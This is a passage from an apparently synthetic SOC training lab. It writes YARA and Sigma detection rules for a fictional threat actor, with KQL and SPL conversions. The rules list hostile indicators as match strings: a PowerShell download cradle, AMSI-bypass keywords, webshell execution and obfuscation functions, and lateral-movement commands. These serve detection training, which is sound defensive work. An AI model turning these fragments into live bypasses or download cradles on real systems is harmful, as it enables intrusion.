severity = "medium"
mitre_attack = "T1027.002"
synthetic = "true"
condition:
uint16(0) == 0x5A4D and
filesize < 10MB and
// Check if ANY section has entropy above 7.5
for any section in pe.sections : (
math.entropy(section.offset, section.raw_data_size) > 7.5 and
section.raw_data_size > 1024 // Ignore tiny sections
)
}
Step 2.4: Cryptominer Detection Rule¶
import "pe"
rule SYNVIPER_Cryptominer : miner cryptominer synthetic {
meta:
author = "CyberVault SOC"
description = "Detects XMRig-based cryptominer deployed by SYNTHETIC-VIPER"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "high"
mitre_attack = "T1496"
synthetic = "true"
strings:
// XMRig identification strings
$xmrig_1 = "xmrig" ascii wide nocase
$xmrig_2 = "XMRig" ascii wide
$xmrig_3 = "mining" ascii wide nocase fullword
// Stratum mining protocol
$stratum_1 = "stratum+tcp://" ascii nocase
$stratum_2 = "stratum+ssl://" ascii nocase
$stratum_3 = "stratum+tls://" ascii nocase
// Synthetic mining pool (FICTIONAL -- not a real pool)
$pool_1 = "pool.synmine.example.com" ascii nocase
$pool_2 = "mine.darkpool.example.com" ascii nocase
// Mining algorithm identifiers
$algo_1 = "randomx" ascii nocase
$algo_2 = "cryptonight" ascii nocase
$algo_3 = "cn/r" ascii nocase
$algo_4 = "rx/0" ascii nocase
// Synthetic wallet address (NOT a real Monero address)
$wallet = "SYNTHETIC_WALLET_4AdUndXHHZ" ascii
// Configuration keywords
$cfg_threads = "\"threads\"" ascii
$cfg_intensity = "\"intensity\"" ascii
$cfg_donate = "\"donate-level\"" ascii
$cfg_coin = "\"coin\"" ascii
// JSON-RPC mining methods
$jsonrpc_login = "\"method\":\"login\"" ascii
$jsonrpc_submit = "\"method\":\"submit\"" ascii
$jsonrpc_getjob = "\"method\":\"getjob\"" ascii
// CPU feature detection (miners optimize for CPU)
$cpu_aes = "aes-ni" ascii nocase
$cpu_avx = "avx2" ascii nocase
$cpu_sse = "sse4" ascii nocase
condition:
// Can be PE or ELF
(uint16(0) == 0x5A4D or uint32(0) == 0x464C457F) and
filesize > 500KB and filesize < 20MB and
// Must have XMRig identifiers
1 of ($xmrig_*) and
// Must have mining protocol or pool reference
(1 of ($stratum_*) or 1 of ($pool_*)) and
// Must have algorithm reference
1 of ($algo_*) and
// Should have configuration or JSON-RPC indicators
(2 of ($cfg_*) or 1 of ($jsonrpc_*))
}
Step 2.5: PHP Webshell Detection Rule¶
rule SYNVIPER_PHPWebshell : webshell php backdoor synthetic {
meta:
author = "CyberVault SOC"
description = "Detects PHP webshell variants deployed by SYNTHETIC-VIPER"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "critical"
mitre_attack = "T1505.003"
synthetic = "true"
strings:
// PHP opening tags
$php_open_1 = "<?php" ascii nocase
$php_open_2 = "<?" ascii
// Dangerous function calls (command execution)
$exec_1 = "system(" ascii nocase
$exec_2 = "exec(" ascii nocase
$exec_3 = "shell_exec(" ascii nocase
$exec_4 = "passthru(" ascii nocase
$exec_5 = "popen(" ascii nocase
$exec_6 = "proc_open(" ascii nocase
$exec_7 = "pcntl_exec(" ascii nocase
$exec_8 = "assert(" ascii nocase
// Code evaluation functions
$eval_1 = "eval(" ascii nocase
$eval_2 = "preg_replace" ascii nocase // with /e modifier
$eval_3 = "create_function(" ascii nocase
$eval_4 = "call_user_func(" ascii nocase
$eval_5 = "call_user_func_array(" ascii nocase
// Obfuscation indicators
$obf_1 = "base64_decode(" ascii nocase
$obf_2 = "gzinflate(" ascii nocase
$obf_3 = "gzuncompress(" ascii nocase
$obf_4 = "str_rot13(" ascii nocase
$obf_5 = "rawurldecode(" ascii nocase
$obf_6 = "hex2bin(" ascii nocase
$obf_7 = "chr(" ascii nocase
// File manipulation
$file_1 = "file_put_contents(" ascii nocase
$file_2 = "file_get_contents(" ascii nocase
$file_3 = "fwrite(" ascii nocase
$file_4 = "move_uploaded_file(" ascii nocase
// Network operations
$net_1 = "fsockopen(" ascii nocase
$net_2 = "curl_exec(" ascii nocase
$net_3 = "stream_socket_client(" ascii nocase
// Authentication bypass indicators
$auth_1 = "$_POST[" ascii
$auth_2 = "$_GET[" ascii
$auth_3 = "$_REQUEST[" ascii
$auth_4 = "$_COOKIE[" ascii
// Common webshell signatures
$sig_1 = "FilesMan" ascii nocase
$sig_2 = "b374k" ascii nocase
$sig_3 = "c99shell" ascii nocase
$sig_4 = "r57shell" ascii nocase
$sig_5 = "WSO " ascii nocase
$sig_6 = "webshell" ascii nocase
// SYNTHETIC-VIPER specific indicators
$sv_marker = "SYNVIPER_SHELL" ascii
$sv_auth = "sv_auth_key" ascii nocase
$sv_c2 = "shell.synviper.example.com" ascii nocase
condition:
// Must start with PHP tag
(1 of ($php_open_*)) and
// File is small (typical webshell size)
filesize < 500KB and
(
// Pattern 1: eval + obfuscation (classic obfuscated webshell)
(1 of ($eval_*) and 2 of ($obf_*)) or
// Pattern 2: Command execution + user input
(1 of ($exec_*) and 1 of ($auth_*)) or
// Pattern 3: Known webshell signature
1 of ($sig_*) or
// Pattern 4: SYNTHETIC-VIPER specific
1 of ($sv_*) or
// Pattern 5: File operations + network + obfuscation
(1 of ($file_*) and 1 of ($net_*) and 1 of ($obf_*))
)
}
Step 2.6: Cobalt Strike Beacon Detection Rule¶
import "pe"
import "math"
rule SYNVIPER_CobaltStrike_Beacon : apt c2 cobaltstrike synthetic {
meta:
author = "CyberVault SOC"
description = "Detects Cobalt Strike beacon with SYNTHETIC-VIPER malleable C2 profile"
date = "2026-03-20"
version = "1.0"
reference = "INT-2026-0042 (SYNTHETIC)"
severity = "critical"
mitre_attack = "T1071.001, T1573.002"
synthetic = "true"
strings:
// Cobalt Strike default strings (commonly present even in customized beacons)
$cs_1 = "beacon.dll" ascii wide
$cs_2 = "beacon.x64.dll" ascii wide
$cs_3 = "%s as %s\\%s: %d" ascii
$cs_4 = "Started service %s on %s" ascii
$cs_5 = "%s (admin)" ascii
$cs_6 = "could not spawn %s: %d" ascii
$cs_7 = "Could not connect to pipe" ascii
$cs_8 = "IEX (New-Object Net.Webclient).DownloadString" ascii
// Named pipe patterns (synthetic)
$pipe_1 = "\\\\.\\pipe\\MSSE-" ascii
$pipe_2 = "\\\\.\\pipe\\msagent_" ascii
$pipe_3 = "\\\\.\\pipe\\synviper_" ascii
// Configuration block indicators
// Cobalt Strike config is typically XOR-encoded in .data or .rdata
$config_magic = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? }
// Malleable C2 profile indicators (SYNTHETIC)
$c2_uri_1 = "/api/v2/status" ascii
$c2_uri_2 = "/cdn/jquery.min.js" ascii
$c2_uri_3 = "/updates/check" ascii
// SYNTHETIC-VIPER C2 domains
$c2_domain_1 = "cdn.synviper.example.com" ascii nocase
$c2_domain_2 = "api.synviper.example.com" ascii nocase
$c2_domain_3 = "update.synviper.example.com" ascii nocase
// Sleep/jitter configuration (decompiled)
$sleep_pattern = { 68 ?? ?? 00 00 [0-10] 68 ?? 00 00 00 [0-10] E8 }
// Reflective loader signatures
$reflective_1 = "ReflectiveLoader" ascii
$reflective_2 = { 4D 5A 41 52 55 48 89 E5 } // MZARUH.. (x64 reflective)
// Process injection indicators
$inject_1 = "ntdll.dll" ascii wide
$inject_2 = "NtQueueApcThread" ascii
$inject_3 = "RtlCreateUserThread" ascii
condition:
// PE file
uint16(0) == 0x5A4D and
filesize > 10KB and filesize < 5MB and
(
// Pattern 1: Classic beacon DLL with config block
(2 of ($cs_*) and $config_magic) or
// Pattern 2: Named pipes + C2 URIs
(1 of ($pipe_*) and 1 of ($c2_uri_*)) or
// Pattern 3: SYNTHETIC-VIPER specific C2
(1 of ($c2_domain_*) and (1 of ($cs_*) or 1 of ($reflective_*))) or
// Pattern 4: Reflective loader + injection + C2
(1 of ($reflective_*) and 1 of ($inject_*) and 1 of ($c2_uri_*, $c2_domain_*)) or
// Pattern 5: High confidence -- multiple CS indicators
4 of ($cs_*)
)
}
Step 2.7: Rule Sets and Include Files¶
Organize rules into a structured rule set:
/*
* SYNTHETIC-VIPER Campaign Rule Set
* File: synviper_campaign.yar
*
* Includes all detection rules for the SYNTHETIC-VIPER threat actor.
* All indicators are 100% SYNTHETIC.
*
* Usage:
* yara -r synviper_campaign.yar /path/to/scan/
*/
// Import shared modules
import "pe"
import "math"
import "hash"
// Include individual rule files
include "synviper_dropper_stage1.yar"
// (In production, each rule would be in its own file)
// Master rule -- combines multiple detections for high confidence
rule SYNVIPER_Campaign_Any : apt campaign synthetic {
meta:
author = "CyberVault SOC"
description = "Matches ANY SYNTHETIC-VIPER campaign component"
date = "2026-03-20"
version = "1.0"
severity = "critical"
synthetic = "true"
condition:
SYNVIPER_Dropper_Stage1 or
SYNVIPER_PackedDropper or
SYNVIPER_Cryptominer or
SYNVIPER_PHPWebshell or
SYNVIPER_CobaltStrike_Beacon
}
Step 2.8: YARA-X Migration¶
YARA-X is the next-generation YARA engine written in Rust. Key improvements:
# YARA-X CLI usage (same rule syntax, different CLI)
$ yr scan yara-rules/synviper_dropper_stage1.yar samples/
$ yr scan --output-format=json yara-rules/ samples/
# YARA-X advantages over classic YARA:
# 1. Better error messages with source context
# 2. Consistent behavior across platforms
# 3. Performance improvements (parallel scanning)
# 4. Stricter rule validation (catches subtle bugs)
# Check rule compatibility with YARA-X
$ yr check yara-rules/synviper_dropper_stage1.yar
[OK] synviper_dropper_stage1.yar: 1 rule(s) validated
# Common migration issues:
# - Deprecated features flagged as errors
# - Stricter regex validation
# - Some module API differences
YARA vs YARA-X comparison:
| Feature | YARA 4.x | YARA-X 0.5+ |
|---|---|---|
| Language | C | Rust |
| Performance | Fast | Faster (parallel) |
| Error messages | Basic | Detailed with context |
| Rule validation | Lenient | Strict |
| Module API | Stable | Evolving |
| Platform consistency | Minor differences | Consistent |
| Memory safety | Manual | Guaranteed (Rust) |
Step 2.9: Exercise 2 Challenge¶
Challenge: Write a YARA Rule for Packed .NET Malware
Write a rule named SYNVIPER_DotNet_Packed that detects a packed .NET assembly. Requirements:
- Must be a PE file with .NET metadata
- Must import
mscoree.dll(CLR bootstrap) - Section entropy > 7.0
- Contains suspicious .NET runtime strings
- File size between 20KB and 3MB
Solution:
import "pe"
import "math"
import "dotnet"
rule SYNVIPER_DotNet_Packed : packed dotnet synthetic {
meta:
author = "CyberVault SOC"
description = "Detects packed .NET assemblies used by SYNTHETIC-VIPER"
date = "2026-03-20"
version = "1.0"
severity = "high"
mitre_attack = "T1027.002"
synthetic = "true"
strings:
// .NET runtime indicators
$dotnet_1 = "_CorExeMain" ascii
$dotnet_2 = "mscoree.dll" ascii nocase
$dotnet_3 = "#Strings" ascii
$dotnet_4 = "#GUID" ascii
$dotnet_5 = "#Blob" ascii
// Common .NET obfuscator artifacts
$obf_1 = "ConfuserEx" ascii wide nocase
$obf_2 = "Dotfuscator" ascii wide nocase
$obf_3 = "SmartAssembly" ascii wide nocase
$obf_4 = "Eazfuscator" ascii wide nocase
$obf_5 = "Babel" ascii wide nocase
// Suspicious method names (reflection-based execution)
$reflect_1 = "Assembly.Load" ascii wide
$reflect_2 = "Invoke(" ascii wide
$reflect_3 = "GetMethod(" ascii wide
$reflect_4 = "DynamicInvoke" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize > 20KB and filesize < 3MB and
// .NET PE file
pe.imports("mscoree.dll", "_CorExeMain") and
// High entropy (packed)
for any section in pe.sections : (
math.entropy(section.offset, section.raw_data_size) > 7.0 and
section.raw_data_size > 2048
) and
// .NET metadata present
2 of ($dotnet_*) and
// Obfuscation or reflective loading
(1 of ($obf_*) or 2 of ($reflect_*))
}
Exercise 3 -- Sigma Rule Creation & Testing (75 min)¶
Objective¶
Write Sigma detection rules for Windows Security, Sysmon, and Linux auditd log sources. Learn the Sigma rule structure, convert rules to KQL and SPL using sigma-cli, and test them against synthetic log data. Create five production-ready Sigma rules targeting key SYNTHETIC-VIPER TTPs.
Scenario Context¶
Detection Task 3
Task: The SOC needs detection rules for the following SYNTHETIC-VIPER behaviors observed in the environment:
- Suspicious PowerShell execution -- encoded commands, download cradles, AMSI bypass
- Lateral movement -- remote service creation, WMI execution, PsExec-like behavior
- Persistence via scheduled tasks -- schtasks.exe creating hidden tasks for C2 callbacks
- Credential dumping -- LSASS access, SAM registry extraction, DCSync
- Data staging -- compression and staging of sensitive files before exfiltration
Write Sigma rules for each, then convert to KQL and SPL.
MITRE ATT&CK: T1059.001 (PowerShell), T1021.002 (SMB/Windows Admin Shares), T1053.005 (Scheduled Task), T1003.001 (LSASS Memory), T1074.001 (Local Data Staging)
Step 3.1: Sigma Rule Anatomy¶
A Sigma rule is a YAML document with a standardized structure:
# Sigma Rule Structure
title: Short descriptive title
id: UUID (unique identifier)
status: experimental | test | stable | deprecated
description: Detailed description of what this rule detects
references:
- URL references
author: Author name
date: YYYY/MM/DD
modified: YYYY/MM/DD
tags:
- attack.tactic_name
- attack.technique_id
logsource:
category: category_name # e.g., process_creation, file_event
product: product_name # e.g., windows, linux
service: service_name # e.g., security, sysmon, auditd
detection:
selection:
FieldName: value
FieldName|modifier: value
filter:
FieldName: excluded_value
condition: selection and not filter
falsepositives:
- Known false positive scenarios
level: informational | low | medium | high | critical
Key Sigma modifiers:
| Modifier | Description | Example |
|---|---|---|
contains | Substring match | CommandLine\|contains: '-enc' |
startswith | Prefix match | Image\|startswith: 'C:\Windows' |
endswith | Suffix match | Image\|endswith: '\powershell.exe' |
re | Regex match | CommandLine\|re: '.*-[Ee]nc.*' |
all | All values must match | selection\|all: |
base64offset | Base64-encoded value | CommandLine\|base64offset: 'IEX' |
cidr | CIDR range match | SourceIP\|cidr: '10.20.0.0/16' |
windash | Match Windows dash variants | CommandLine\|windash\|contains: '-enc' |
Step 3.2: Sigma Rule 1 -- Suspicious PowerShell Execution¶
# File: sigma-rules/synviper_suspicious_powershell.yml
title: SYNTHETIC-VIPER Suspicious PowerShell Execution
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: |
Detects suspicious PowerShell execution patterns associated with
SYNTHETIC-VIPER intrusions, including encoded commands, download
cradles, AMSI bypass attempts, and execution policy bypass.
All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://attack.mitre.org/techniques/T1059/001/
author: CyberVault SOC (fictional)
date: 2026/03/20
modified: 2026/03/25
tags:
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1140
logsource:
category: process_creation
product: windows
detection:
# Selection: PowerShell process with suspicious arguments
selection_binary:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_encoded:
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-ec '
- '-e '
- 'FromBase64String'
- '[Convert]::FromBase64'
selection_download:
CommandLine|contains:
- 'Net.WebClient'
- 'DownloadString'
- 'DownloadFile'
- 'DownloadData'
- 'Invoke-WebRequest'
- 'iwr '
- 'wget '
- 'curl '
- 'Start-BitsTransfer'
- 'Invoke-RestMethod'
- 'irm '
selection_amsi_bypass:
CommandLine|contains:
- 'AmsiInitFailed'
- 'amsi.dll'
- 'AmsiUtils'
- 'amsiContext'
- 'SetValue($null,$true)'
- 'Disable-Amsi'
selection_execution_policy:
CommandLine|contains:
- '-ExecutionPolicy Bypass'
- '-ep bypass'
- '-exec bypass'
- 'Set-ExecutionPolicy Unrestricted'
selection_obfuscation:
CommandLine|contains:
- '[char]'
- 'join'
- '-replace'
- '-split'
- '[System.Text.Encoding]'
- 'iex('
- 'IEX('
- 'Invoke-Expression'
selection_synviper:
CommandLine|contains:
- 'synviper.example.com'
- 'SVCONFIG_'
- 'SyntheticViperLoader'
filter_legitimate:
# Exclude known legitimate PowerShell scripts
ParentImage|endswith:
- '\sccm\ccmexec.exe'
- '\Microsoft Monitoring Agent\Agent\MonitoringHost.exe'
CommandLine|contains:
- 'WindowsUpdate'
- 'Get-WUInstall'
condition: >
selection_binary and
(selection_encoded or selection_download or selection_amsi_bypass or
selection_execution_policy or selection_obfuscation or selection_synviper) and
not filter_legitimate
falsepositives:
- Legitimate administrative PowerShell scripts using encoded commands
- Software deployment tools using download cradles
- Configuration management systems
level: high
Convert to KQL and SPL:
# Convert to KQL (Microsoft Sentinel / Defender)
$ sigma convert -t microsoft365defender -p sysmon \
sigma-rules/synviper_suspicious_powershell.yml
# Output (KQL):
// Sigma Rule: SYNTHETIC-VIPER Suspicious PowerShell Execution
// Converted from Sigma via sigma-cli (synthetic)
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where (
FileName in~ ("powershell.exe", "pwsh.exe") or
ProcessVersionInfoOriginalFileName in~ ("PowerShell.EXE", "pwsh.dll")
)
| where (
// Encoded commands
ProcessCommandLine has_any (
"-EncodedCommand", "-enc ", "-ec ", "-e ",
"FromBase64String", "[Convert]::FromBase64"
)
or
// Download cradles
ProcessCommandLine has_any (
"Net.WebClient", "DownloadString", "DownloadFile",
"DownloadData", "Invoke-WebRequest", "iwr ",
"Start-BitsTransfer", "Invoke-RestMethod", "irm "
)
or
// AMSI bypass
ProcessCommandLine has_any (
"AmsiInitFailed", "amsi.dll", "AmsiUtils",
"amsiContext", "Disable-Amsi"
)
or
// Execution policy bypass
ProcessCommandLine has_any (
"-ExecutionPolicy Bypass", "-ep bypass",
"-exec bypass", "Set-ExecutionPolicy Unrestricted"
)
or
// Obfuscation
ProcessCommandLine has_any (
"[char]", "iex(", "IEX(", "Invoke-Expression",
"[System.Text.Encoding]"
)
or
// SYNTHETIC-VIPER specific
ProcessCommandLine has_any (
"synviper.example.com", "SVCONFIG_", "SyntheticViperLoader"
)
)
// Exclude legitimate processes
| where not (
InitiatingProcessFileName in~ ("ccmexec.exe", "MonitoringHost.exe") and
ProcessCommandLine has_any ("WindowsUpdate", "Get-WUInstall")
)
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine
| sort by TimeGenerated desc
// Sigma Rule: SYNTHETIC-VIPER Suspicious PowerShell Execution
// Converted from Sigma via sigma-cli (synthetic)
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1
| where (
match(Image, "(?i)\\\\(powershell|pwsh)\.exe$") OR
match(OriginalFileName, "(?i)^(PowerShell\.EXE|pwsh\.dll)$")
)
| where (
// Encoded commands
match(CommandLine, "(?i)(-EncodedCommand|-enc\s|-ec\s|-e\s|FromBase64String|\[Convert\]::FromBase64)")
OR
// Download cradles
match(CommandLine, "(?i)(Net\.WebClient|DownloadString|DownloadFile|DownloadData|Invoke-WebRequest|iwr\s|Start-BitsTransfer|Invoke-RestMethod|irm\s)")
OR
// AMSI bypass
match(CommandLine, "(?i)(AmsiInitFailed|amsi\.dll|AmsiUtils|amsiContext|Disable-Amsi)")
OR
// Execution policy bypass
match(CommandLine, "(?i)(-ExecutionPolicy\s+Bypass|-ep\s+bypass|-exec\s+bypass|Set-ExecutionPolicy\s+Unrestricted)")
OR
// Obfuscation
match(CommandLine, "(?i)(\[char\]|iex\(|Invoke-Expression|\[System\.Text\.Encoding\])")
OR
// SYNTHETIC-VIPER specific
match(CommandLine, "(?i)(synviper\.example\.com|SVCONFIG_|SyntheticViperLoader)")
)
| where NOT (
match(ParentImage, "(?i)(ccmexec\.exe|MonitoringHost\.exe)$") AND
match(CommandLine, "(?i)(WindowsUpdate|Get-WUInstall)")
)
| table _time, ComputerName, User, Image, CommandLine, ParentImage, ParentCommandLine
| sort -_time
Step 3.3: Sigma Rule 2 -- Lateral Movement via Remote Service Creation¶
# File: sigma-rules/synviper_lateral_movement.yml
title: SYNTHETIC-VIPER Lateral Movement via Remote Service
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: |
Detects lateral movement patterns associated with SYNTHETIC-VIPER,
including remote service creation (PsExec-like), WMI process creation,
and SMB-based execution. All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://attack.mitre.org/techniques/T1021/002/
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.lateral_movement
- attack.t1021.002
- attack.t1047
- attack.execution
- attack.t1569.002
logsource:
category: process_creation
product: windows
detection:
# PsExec-like service creation
selection_psexec:
ParentImage|endswith:
- '\services.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
User|contains:
- 'SYSTEM'
# WMI-based remote execution
selection_wmi:
ParentImage|endswith:
- '\WmiPrvSE.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\rundll32.exe'
- '\mshta.exe'
# sc.exe remote service creation
selection_sc_remote:
Image|endswith: '\sc.exe'
CommandLine|contains|all:
- '\\\\' # UNC path (remote)
- 'create'
# WMIC remote execution
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains|all:
- '/node:'
- 'process'
- 'call'
- 'create'
# smbexec-like patterns
selection_smbexec:
ParentImage|endswith: '\services.exe'
CommandLine|contains:
- '%COMSPEC%'
- 'cmd.exe /Q /c'
# SYNTHETIC-VIPER specific lateral movement tool
selection_synviper_lat:
CommandLine|contains:
- 'sv_lateral.exe'
- 'synviper_move'
- '\\\\10.20.' # Internal network (SYNTHETIC)
filter_legitimate:
ParentImage|endswith:
- '\svchost.exe'
CommandLine|contains:
- 'Windows\\servicing'
- 'TrustedInstaller'
condition: >
(selection_psexec or selection_wmi or selection_sc_remote or
selection_wmic or selection_smbexec or selection_synviper_lat) and
not filter_legitimate
falsepositives:
- Legitimate remote administration tools (SCCM, Ansible, SCOM)
- IT Help Desk remote support sessions
- Automated deployment scripts using PsExec
level: high
// Sigma Rule: SYNTHETIC-VIPER Lateral Movement via Remote Service
// Detects PsExec-like, WMI, and SMB-based lateral movement (SYNTHETIC)
let LateralMovement = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where
// PsExec-like: services.exe spawning cmd/powershell as SYSTEM
(
InitiatingProcessFileName =~ "services.exe" and
FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe") and
AccountName has "SYSTEM"
)
or
// WMI remote execution: WmiPrvSE.exe spawning suspicious child
(
InitiatingProcessFileName =~ "WmiPrvSE.exe" and
FileName in~ ("cmd.exe", "powershell.exe", "rundll32.exe", "mshta.exe")
)
or
// sc.exe remote service creation
(
FileName =~ "sc.exe" and
ProcessCommandLine has "\\\\" and
ProcessCommandLine has "create"
)
or
// WMIC remote process creation
(
FileName =~ "wmic.exe" and
ProcessCommandLine has "/node:" and
ProcessCommandLine has "process" and
ProcessCommandLine has "call" and
ProcessCommandLine has "create"
)
or
// SMBExec-like pattern
(
InitiatingProcessFileName =~ "services.exe" and
(ProcessCommandLine has "%COMSPEC%" or ProcessCommandLine has "cmd.exe /Q /c")
)
// Exclude legitimate
| where not (
InitiatingProcessFileName =~ "svchost.exe" and
ProcessCommandLine has_any ("Windows\\servicing", "TrustedInstaller")
);
LateralMovement
| project TimeGenerated, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine, RemoteIP
| sort by TimeGenerated desc
// Sigma Rule: SYNTHETIC-VIPER Lateral Movement via Remote Service
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1
| eval is_lateral=case(
// PsExec-like
match(ParentImage, "(?i)\\\\services\.exe$") AND
match(Image, "(?i)\\\\(cmd|powershell|pwsh)\.exe$") AND
match(User, "(?i)SYSTEM"), "psexec_like",
// WMI remote execution
match(ParentImage, "(?i)\\\\WmiPrvSE\.exe$") AND
match(Image, "(?i)\\\\(cmd|powershell|rundll32|mshta)\.exe$"), "wmi_exec",
// sc.exe remote service
match(Image, "(?i)\\\\sc\.exe$") AND
match(CommandLine, "\\\\\\\\") AND
match(CommandLine, "(?i)create"), "sc_remote",
// WMIC remote
match(Image, "(?i)\\\\wmic\.exe$") AND
match(CommandLine, "(?i)/node:") AND
match(CommandLine, "(?i)process.*call.*create"), "wmic_remote",
// SMBExec
match(ParentImage, "(?i)\\\\services\.exe$") AND
(match(CommandLine, "%COMSPEC%") OR
match(CommandLine, "(?i)cmd\.exe /Q /c")), "smbexec",
1==1, "none"
)
| where is_lateral!="none"
| where NOT (
match(ParentImage, "(?i)\\\\svchost\.exe$") AND
(match(CommandLine, "(?i)Windows\\\\servicing") OR
match(CommandLine, "(?i)TrustedInstaller"))
)
| table _time, ComputerName, User, Image, CommandLine, ParentImage,
ParentCommandLine, is_lateral
| sort -_time
Step 3.4: Sigma Rule 3 -- Persistence via Scheduled Task¶
# File: sigma-rules/synviper_scheduled_task_persistence.yml
title: SYNTHETIC-VIPER Scheduled Task Persistence
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: |
Detects creation of scheduled tasks for persistence by SYNTHETIC-VIPER.
Covers schtasks.exe command-line creation, Windows Task Scheduler events,
and suspicious task XML configurations. All indicators are SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
- https://attack.mitre.org/techniques/T1053/005/
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.persistence
- attack.t1053.005
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection_schtasks:
Image|endswith: '\schtasks.exe'
CommandLine|contains: '/create'
selection_suspicious_triggers:
CommandLine|contains:
- '/sc onlogon'
- '/sc onstart'
- '/sc onidle'
- '/sc minute /mo 1'
- '/sc minute /mo 2'
- '/sc minute /mo 5'
- '/sc hourly'
selection_suspicious_actions:
CommandLine|contains:
- 'powershell'
- 'cmd.exe'
- 'mshta'
- 'rundll32'
- 'wscript'
- 'cscript'
- 'regsvr32'
- 'certutil'
selection_hidden:
CommandLine|contains:
- '/rl highest'
- '/f' # force overwrite
selection_synviper:
CommandLine|contains:
- 'synviper'
- 'SVC_Update'
- 'SystemHealthCheck'
- 'WindowsDefenderUpdate' # masquerading
- 'ChromeUpdate' # masquerading
selection_remote_path:
CommandLine|contains:
- '\\\\10.20.'
- 'synviper.example.com'
- '%TEMP%'
- '%APPDATA%'
- 'C:\ProgramData'
filter_legitimate:
CommandLine|contains:
- 'Microsoft\\Windows\\Windows'
- 'GoogleUpdate'
- 'Adobe Acrobat Update'
ParentImage|endswith:
- '\taskeng.exe'
- '\taskhostw.exe'
condition: >
selection_schtasks and
(selection_suspicious_triggers or selection_synviper) and
(selection_suspicious_actions or selection_remote_path) and
not filter_legitimate
falsepositives:
- Legitimate software installation creating scheduled tasks
- IT automation scripts using schtasks.exe
- Group Policy-deployed scheduled tasks
level: high
---
# Companion rule for Windows Task Scheduler event logs
title: SYNTHETIC-VIPER Scheduled Task Registration Event
id: c3d4e5f6-a7b8-9012-cdef-123456789013
status: experimental
description: |
Detects scheduled task registration via Windows Security Event 4698.
Complements the process creation rule above. All indicators SYNTHETIC.
references:
- https://cybervault.example.com/intel/INT-2026-0042
author: CyberVault SOC (fictional)
date: 2026/03/20
tags:
- attack.persistence
- attack.t1053.005
logsource:
product: windows
service: security
detection:
selection:
EventID: 4698
selection_suspicious_command:
TaskContent|contains:
- 'powershell'
- 'cmd.exe'
- 'mshta'
- 'rundll32'
- 'certutil'
- 'synviper'
- '%TEMP%'
- '%APPDATA%'
- 'C:\ProgramData'
selection_suspicious_name:
TaskName|contains:
- 'SVC_Update'
- 'SystemHealthCheck'
- 'WindowsDefenderUpdate'
- 'ChromeUpdate'
- 'OneDriveSync'
filter_known:
TaskName|contains:
- '\Microsoft\Windows\'
- '\Microsoft\Office\'
condition: selection and (selection_suspicious_command or selection_suspicious_name) and not filter_known
falsepositives:
- Legitimate third-party software creating scheduled tasks
level: high
// Sigma Rule: SYNTHETIC-VIPER Scheduled Task Persistence
// Process Creation Detection
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where (
// Suspicious triggers
ProcessCommandLine has_any (
"/sc onlogon", "/sc onstart", "/sc onidle",
"/sc minute /mo 1", "/sc minute /mo 2", "/sc minute /mo 5",
"/sc hourly"
)
or
// SYNTHETIC-VIPER specific names
ProcessCommandLine has_any (
"synviper", "SVC_Update", "SystemHealthCheck",
"WindowsDefenderUpdate", "ChromeUpdate"
)
)
| where (
// Suspicious action targets
ProcessCommandLine has_any (
"powershell", "cmd.exe", "mshta", "rundll32",
"wscript", "cscript", "regsvr32", "certutil"
)
or
// Suspicious paths
ProcessCommandLine has_any (
"%TEMP%", "%APPDATA%", "C:\\ProgramData",
"synviper.example.com"
)
)
| where not (
ProcessCommandLine has_any (
"Microsoft\\Windows\\Windows", "GoogleUpdate", "Adobe Acrobat Update"
)
)
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated desc
// Sigma Rule: SYNTHETIC-VIPER Scheduled Task Persistence
// Process Creation Detection
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 Image="*\\schtasks.exe" CommandLine="*/create*"
| where (
// Suspicious triggers
match(CommandLine, "(?i)/sc\s+(onlogon|onstart|onidle|minute\s+/mo\s+[125]|hourly)")
OR
// SYNTHETIC-VIPER task names
match(CommandLine, "(?i)(synviper|SVC_Update|SystemHealthCheck|WindowsDefenderUpdate|ChromeUpdate)")
)
| where (
// Suspicious executables
match(CommandLine, "(?i)(powershell|cmd\.exe|mshta|rundll32|wscript|cscript|regsvr32|certutil)")
OR
// Suspicious paths
match(CommandLine, "(?i)(%TEMP%|%APPDATA%|C:\\\\ProgramData|synviper\.example\.com)")
)
| where NOT match(CommandLine, "(?i)(Microsoft\\\\Windows\\\\Windows|GoogleUpdate|Adobe Acrobat Update)")
